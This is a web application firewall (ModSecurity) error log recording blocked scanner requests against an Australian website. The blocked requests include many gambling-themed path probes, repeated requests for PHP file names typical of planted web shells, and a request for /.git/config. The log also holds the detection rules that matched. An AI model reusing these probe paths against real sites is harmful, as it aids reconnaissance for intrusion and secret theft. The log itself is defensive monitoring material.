[Fri Apr 24 14:11:02.722849 2026] [:error] [pid 17721:tid 17803] [client 108.12.20.67:35732] [client 108.12.20.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "aesJduFXXkLeyDnfk__MQQAAABY"]
[Fri Apr 24 14:11:04.943702 2026] [:error] [pid 17719:tid 17747] [client 108.12.20.67:35744] [client 108.12.20.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20joker.aspx"] [unique_id "aesJeMTZ9gzEyL1BkPpM3QAAAJQ"]
[Fri Apr 24 14:11:07.298526 2026] [:error] [pid 17719:tid 17734] [client 108.12.20.67:47926] [client 108.12.20.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20online.aspx"] [unique_id "aesJe8TZ9gzEyL1BkPpM4gAAAIc"]
[Fri Apr 24 14:11:09.643246 2026] [:error] [pid 17719:tid 17738] [client 108.12.20.67:47936] [client 108.12.20.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aesJfcTZ9gzEyL1BkPpM7gAAAIs"]
[Fri Apr 24 14:11:11.965437 2026] [:error] [pid 22114:tid 22118] [client 108.12.20.67:47944] [client 108.12.20.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aesJf4AuWGz3WlMQjoeluwAAAQE"]
[Fri Apr 24 14:11:14.313084 2026] [:error] [pid 17720:tid 17760] [client 108.12.20.67:47952] [client 108.12.20.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aesJguhlUs6BS3Ng7_Xy6AAAAMY"]
[Fri Apr 24 14:11:16.641872 2026] [:error] [pid 17719:tid 17732] [client 108.12.20.67:47966] [client 108.12.20.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aesJhMTZ9gzEyL1BkPpM9gAAAIU"]
[Fri Apr 24 14:11:18.994466 2026] [:error] [pid 17719:tid 17735] [client 108.12.20.67:47796] [client 108.12.20.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aesJhsTZ9gzEyL1BkPpM_AAAAIg"]
[Fri Apr 24 14:11:21.338418 2026] [:error] [pid 17720:tid 17755] [client 108.12.20.67:47798] [client 108.12.20.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aesJiehlUs6BS3Ng7_Xy7AAAAME"]
[Fri Apr 24 14:11:23.678975 2026] [:error] [pid 17720:tid 17761] [client 108.12.20.67:47804] [client 108.12.20.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aesJi-hlUs6BS3Ng7_Xy7wAAAMc"]
[Fri Apr 24 14:11:25.912707 2026] [:error] [pid 17808:tid 17818] [client 108.12.20.67:47818] [client 108.12.20.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "aesJjearbOEFI8qshvKgHgAAAEg"]
[Fri Apr 24 14:11:28.216709 2026] [:error] [pid 17808:tid 17828] [client 108.12.20.67:55244] [client 108.12.20.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "aesJkOarbOEFI8qshvKgIwAAAFI"]
[Fri Apr 24 14:11:30.592817 2026] [:error] [pid 22114:tid 22138] [client 108.12.20.67:55246] [client 108.12.20.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "aesJkoAuWGz3WlMQjoelyAAAARU"]
[Fri Apr 24 14:11:32.938545 2026] [:error] [pid 17808:tid 17823] [client 108.12.20.67:55254] [client 108.12.20.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spg%20slot.aspx"] [unique_id "aesJlOarbOEFI8qshvKgLgAAAE0"]
[Fri Apr 24 14:11:35.259232 2026] [:error] [pid 22114:tid 22130] [client 108.12.20.67:55260] [client 108.12.20.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spx%20slot.aspx"] [unique_id "aesJl4AuWGz3WlMQjoelygAAAQ0"]
[Fri Apr 24 14:11:37.585302 2026] [:error] [pid 22114:tid 22121] [client 108.12.20.67:57284] [client 108.12.20.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "aesJmYAuWGz3WlMQjoelzgAAAQQ"]
[Fri Apr 24 14:11:39.904111 2026] [:error] [pid 22114:tid 22117] [client 108.12.20.67:57300] [client 108.12.20.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20slot.aspx"] [unique_id "aesJm4AuWGz3WlMQjoel0QAAAQA"]
[Fri Apr 24 14:12:00.601482 2026] [:error] [pid 17808:tid 17832] [client 108.12.20.67:57312] [client 108.12.20.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "aesJsOarbOEFI8qshvKgygAAAFY"]
[Fri Apr 24 14:12:02.947195 2026] [:error] [pid 17719:tid 17733] [client 108.12.20.67:38056] [client 108.12.20.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "aesJssTZ9gzEyL1BkPpNUgAAAIY"]
[Fri Apr 24 14:12:05.259040 2026] [:error] [pid 17720:tid 17768] [client 108.12.20.67:38066] [client 108.12.20.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "aesJtehlUs6BS3Ng7_XzHQAAAM4"]
[Fri Apr 24 14:12:07.466980 2026] [:error] [pid 17721:tid 17791] [client 108.12.20.67:41308] [client 108.12.20.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "aesJt-FXXkLeyDnfk__NYwAAAAo"]
[Fri Apr 24 14:12:09.775383 2026] [:error] [pid 17808:tid 17819] [client 108.12.20.67:41312] [client 108.12.20.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aesJuearbOEFI8qshvKhMQAAAEk"]
[Fri Apr 24 14:12:12.100500 2026] [:error] [pid 17808:tid 17832] [client 108.12.20.67:41326] [client 108.12.20.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "aesJvOarbOEFI8qshvKhTgAAAFY"]
[Fri Apr 24 14:12:14.452075 2026] [:error] [pid 17721:tid 17803] [client 108.12.20.67:41330] [client 108.12.20.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "aesJvuFXXkLeyDnfk__NjwAAABY"]
[Fri Apr 24 14:12:16.766999 2026] [:error] [pid 17720:tid 17773] [client 108.12.20.67:41334] [client 108.12.20.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aesJwOhlUs6BS3Ng7_XzQQAAANM"]
[Fri Apr 24 14:12:19.109544 2026] [:error] [pid 17719:tid 17730] [client 108.12.20.67:60602] [client 108.12.20.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "aesJw8TZ9gzEyL1BkPpNzgAAAIM"]
[Fri Apr 24 14:12:21.431507 2026] [:error] [pid 17719:tid 17729] [client 108.12.20.67:60606] [client 108.12.20.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w69%20slot.aspx"] [unique_id "aesJxcTZ9gzEyL1BkPpOBwAAAII"]
[Fri Apr 24 14:12:23.780388 2026] [:error] [pid 17719:tid 17740] [client 108.12.20.67:60612] [client 108.12.20.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "aesJx8TZ9gzEyL1BkPpOGwAAAI0"]
[Fri Apr 24 14:12:26.143475 2026] [:error] [pid 17721:tid 17786] [client 108.12.20.67:60628] [client 108.12.20.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we88%20slot.aspx"] [unique_id "aesJyuFXXkLeyDnfk__NygAAAAU"]
[Fri Apr 24 14:12:28.433656 2026] [:error] [pid 17808:tid 17814] [client 108.12.20.67:52846] [client 108.12.20.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aesJzOarbOEFI8qshvKhmAAAAEQ"]
[Fri Apr 24 14:12:30.849348 2026] [:error] [pid 17719:tid 17746] [client 108.12.20.67:52848] [client 108.12.20.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xo%20slot.aspx"] [unique_id "aesJzsTZ9gzEyL1BkPpOWgAAAJM"]
[Fri Apr 24 14:12:33.155014 2026] [:error] [pid 17721:tid 17781] [client 108.12.20.67:52858] [client 108.12.20.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "aesJ0eFXXkLeyDnfk__N3gAAAAA"]
[Fri Apr 24 15:17:50.117600 2026] [:error] [pid 17808:tid 17810] [client 43.135.133.194:34040] [client 43.135.133.194] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aesZHuarbOEFI8qshvK0hAAAAEA"]
[Fri Apr 24 16:37:31.946959 2026] [:error] [pid 17720:tid 17767] [client 195.178.110.241:47224] [client 195.178.110.241] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aesry-hlUs6BS3Ng7_UrQQAAAM0"]
[Fri Apr 24 16:56:23.343698 2026] [:error] [pid 17720:tid 17766] [client 43.156.168.214:60308] [client 43.156.168.214] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aeswN-hlUs6BS3Ng7_U4-QAAAMw"]
[Fri Apr 24 19:59:40.719249 2026] [:error] [pid 17720:tid 17771] [client 20.203.209.229:57081] [client 20.203.209.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/elp.php"] [unique_id "aetbLOhlUs6BS3Ng7_WSgQAAANE"]
[Fri Apr 24 19:59:43.347763 2026] [:error] [pid 4177:tid 4192] [client 20.203.209.229:29512] [client 20.203.209.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/elp.php"] [unique_id "aetbL32asKnvdrSe0x7xZwAAAYc"]
[Fri Apr 24 19:59:50.638600 2026] [:error] [pid 17720:tid 17774] [client 20.203.209.229:52193] [client 20.203.209.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/elp.php"] [unique_id "aetbNuhlUs6BS3Ng7_WSlAAAANQ"]
[Fri Apr 24 19:59:53.462915 2026] [:error] [pid 4177:tid 4194] [client 20.203.209.229:29563] [client 20.203.209.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/elp.php"] [unique_id "aetbOX2asKnvdrSe0x7xfgAAAYk"]
[Fri Apr 24 19:59:56.781023 2026] [:error] [pid 17721:tid 17797] [client 20.203.209.229:53712] [client 20.203.209.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/zc-243.php"] [unique_id "aetbPOFXXkLeyDnfk_8xcgAAABA"]
[Fri Apr 24 20:00:02.936731 2026] [:error] [pid 4177:tid 4188] [client 20.203.209.229:53696] [client 20.203.209.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/zc-243.php"] [unique_id "aetbQn2asKnvdrSe0x7xtQAAAYM"]
[Fri Apr 24 20:00:11.258118 2026] [:error] [pid 17720:tid 17756] [client 20.203.209.229:38323] [client 20.203.209.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/bkyac.php"] [unique_id "aetbS-hlUs6BS3Ng7_WS3AAAAMI"]
[Fri Apr 24 20:00:15.567186 2026] [:error] [pid 4177:tid 4191] [client 20.203.209.229:59981] [client 20.203.209.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/bkyac.php"] [unique_id "aetbT32asKnvdrSe0x7xzAAAAYY"]
[Fri Apr 24 20:00:21.449553 2026] [:error] [pid 4177:tid 4188] [client 20.203.209.229:45534] [client 20.203.209.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/bkyac.php"] [unique_id "aetbVX2asKnvdrSe0x7x0QAAAYM"]
[Fri Apr 24 20:00:22.896014 2026] [:error] [pid 4177:tid 4204] [client 20.203.209.229:46997] [client 20.203.209.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/bkyac.php"] [unique_id "aetbVn2asKnvdrSe0x7x1AAAAZM"]
[Fri Apr 24 20:00:26.564250 2026] [:error] [pid 17720:tid 17765] [client 20.203.209.229:53093] [client 20.203.209.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wziar1.php"] [unique_id "aetbWuhlUs6BS3Ng7_WS7QAAAMs"]
[Fri Apr 24 20:00:33.378583 2026] [:error] [pid 17720:tid 17764] [client 20.203.209.229:65431] [client 20.203.209.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wziar1.php"] [unique_id "aetbYehlUs6BS3Ng7_WS9gAAAMo"]
[Fri Apr 24 20:00:49.760184 2026] [:error] [pid 17808:tid 17834] [client 20.203.209.229:65454] [client 20.203.209.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/about.php"] [unique_id "aetbcearbOEFI8qshvIoXAAAAFg"]
[Fri Apr 24 20:00:59.698553 2026] [:error] [pid 17720:tid 17762] [client 20.203.209.229:42694] [client 20.203.209.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/about.php"] [unique_id "aetbe-hlUs6BS3Ng7_WTJQAAAMg"]
[Fri Apr 24 20:01:02.608719 2026] [:error] [pid 17721:tid 17789] [client 20.203.209.229:56399] [client 20.203.209.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/about.php"] [unique_id "aetbfuFXXkLeyDnfk_8xmQAAAAg"]
[Fri Apr 24 20:01:04.056179 2026] [:error] [pid 17808:tid 17810] [client 20.203.209.229:40380] [client 20.203.209.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/about.php"] [unique_id "aetbgOarbOEFI8qshvIodgAAAEA"]
[Fri Apr 24 20:01:05.043686 2026] [:error] [pid 17808:tid 17819] [client 20.203.209.229:60395] [client 20.203.209.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-png.php"] [unique_id "aetbgearbOEFI8qshvIoeAAAAEk"]
[Fri Apr 24 20:01:05.913421 2026] [:error] [pid 17720:tid 17757] [client 20.203.209.229:36319] [client 20.203.209.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-png.php"] [unique_id "aetbgehlUs6BS3Ng7_WTMAAAAMM"]
[Fri Apr 24 20:01:09.756451 2026] [:error] [pid 17719:tid 17747] [client 20.203.209.229:48769] [client 20.203.209.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-png.php"] [unique_id "aetbhcTZ9gzEyL1BkPqiFQAAAJQ"]
